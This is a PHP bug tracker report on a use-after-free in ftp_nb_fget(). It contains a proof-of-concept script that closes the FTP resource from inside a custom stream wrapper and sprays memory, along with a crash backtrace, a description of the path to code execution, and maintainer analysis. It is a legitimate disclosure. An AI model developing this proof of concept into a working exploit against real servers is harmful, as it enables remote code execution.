php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #66174 Interruption vulnerability in ftp_nb_fget()
Submitted: 2013-11-26 12:59 UTC Modified: 2021-02-18 15:19 UTC
From: kuba dot brecka at gmail dot com Assigned:
Status: Analyzed Package: FTP related
PHP Version: master-Git-2013-11-26 (Git) OS: all
Private report: No CVE-ID: None
 [2013-11-26 12:59 UTC] kuba dot brecka at gmail dot com
Description:
------------
The ftp_nb_fget() function can write data into an open stream, by implementing a custom PHP stream (e.g. via stream_wrapper_register), the process of ftp_nb_fget can be easily interrupted and custom PHP code can be executed. At this point, we can free the associated resource object, which will cause a memory corruption.

The attached POC uses an interruption in stream_write, which will free the FTP resource and create additional string objects, which contain the value 0x65 repeated. The process then crashes and the backtrace shows that the value 0x65656565 is used as a pointer to a stream resource. Because the attacker controls this value, she can modify it to be a valid pointer to a specially crafted string/object. Moreover, the stream structure contains pointers to its methods (read/write/flush/...), which means that the attacker can achieve arbitrary code execution by setting these pointers to valid code.


Test script:
---------------
<?php
    class MyStream {
        function stream_open($path, $mode, $options, &$opened_path) {
            return true;
        }
    
        function stream_write($data) {
            global $ftp;
            ftp_close($ftp);

            for ($i = 0; $i < 4000; $i++)
                $GLOBALS['fakestreamobj' . $i] = str_repeat(chr(0x65), 8500);

            return strlen($data);
        }
    }
      
    stream_wrapper_register("MyProtocol", "MyStream");
    $ftp = ftp_connect("ftp.kernel.org");
    ftp_login($ftp, "anonymous", "hello@world");
    ftp_pasv($ftp, true);
    $stream = fopen("MyProtocol://nothing", "w+");
    ftp_nb_fget($ftp, $stream, "pub/site/README", FTP_ASCII);


Actual result:
--------------
Program received signal SIGSEGV, Segmentation fault.
0x083712d2 in _php_stream_write (stream=0x65656565, buf=0xbfffb70f "e\220\006\a", count=1) at /home/kuba/php/php-src/main/streams/streams.c:1233
1233            if (buf == NULL || count == 0 || stream->ops->write == NULL) {
(gdb) bt
#0  0x083712d2 in _php_stream_write (stream=0x65656565, buf=0xbfffb70f "e\220\006\a", count=1) at /home/kuba/php/php-src/main/streams/streams.c:1233
#1  0x08370757 in _php_stream_putc (stream=0x65656565, c=101) at /home/kuba/php/php-src/main/streams/streams.c:790
#2  0x081d4755 in ftp_nb_continue_read (ftp=0xb7c30690) at /home/kuba/php/php-src/ext/ftp/ftp.c:1793
#3  0x081d461f in ftp_nb_get (ftp=0xb7c30690, outstream=0xb7c2e5f0, path=0xb7b23c6c "pub/site/README", type=FTPTYPE_ASCII, resumepos=0) at /home/kuba/php/php-src/ext/ftp/ftp.c:1753
#4  0x081cf8e9 in zif_ftp_nb_fget (ht=4, return_value=0xb7c302dc, return_value_ptr=0xb7c1110c, this_ptr=0x0, return_value_used=0) at /home/kuba/php/php-src/ext/ftp/php_ftp.c:817
#5  0x0840cc4a in zend_do_fcall_common_helper_SPEC (execute_data=0xb7c11198) at /home/kuba/php/php-src/Zend/zend_vm_execute.h:554
#6  0x08410aef in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0xb7c11198) at /home/kuba/php/php-src/Zend/zend_vm_execute.h:2364
#7  0x0840c511 in execute_ex (execute_data=0xb7c11198) at /home/kuba/php/php-src/Zend/zend_vm_execute.h:363
#8  0x0840c575 in zend_execute (op_array=0xb7c2ded8) at /home/kuba/php/php-src/Zend/zend_vm_execute.h:388
#9  0x083d4d26 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/kuba/php/php-src/Zend/zend.c:1334
#10 0x08357ddb in php_execute_script (primary_file=0xbfffdc14) at /home/kuba/php/php-src/main/main.c:2490
#11 0x0846fab4 in do_cli (argc=2, argv=0x88be1e0) at /home/kuba/php/php-src/sapi/cli/php_cli.c:994
#12 0x08470b0f in main (argc=2, argv=0x88be1e0) at /home/kuba/php/php-src/sapi/cli/php_cli.c:1378


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-11-18 14:28 UTC] krakjoe@php.net
-Type: Security +Type: Bug
 [2016-11-18 14:28 UTC] krakjoe@php.net
This bug does not meet the criteria to be considered a security issue.

Please review: https://wiki.php.net/security
 [2016-11-20 20:50 UTC] kalle@php.net
@Joe, remember to untick the 'Private report' checkbox so its visible for non sec devs :)
 [2021-02-18 15:19 UTC] cmb@php.net
-Status: Open +Status: Analyzed
 [2021-02-18 15:19 UTC] cmb@php.net
ftp_close() causes the ftpbuf_t to be freed, and this causes the
UAF.  Not freeing the ftpbuf_t when the resource is closed would
inevitably result in a memory leak, and that would happen for the
common case, while this UAF is constructed, and is not supposed to
happen in practice.

The only (clean) solution for this issue is to migrate FTP
resources to objects, which do not need to be immediately freed,
since they're subject to the cyclic GC.  This can happen at the
earliest for PHP 8.1 due to the BC break.
 [2023-05-06 12:03 UTC] worldnewstourism at gmail dot com
Tourism News World are sharing latest news about tour and travel, destination, beaches, desert safari etc.(https://tourismnewsworld.com)github.com
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Mon Nov 04 14:01:28 2024 UTC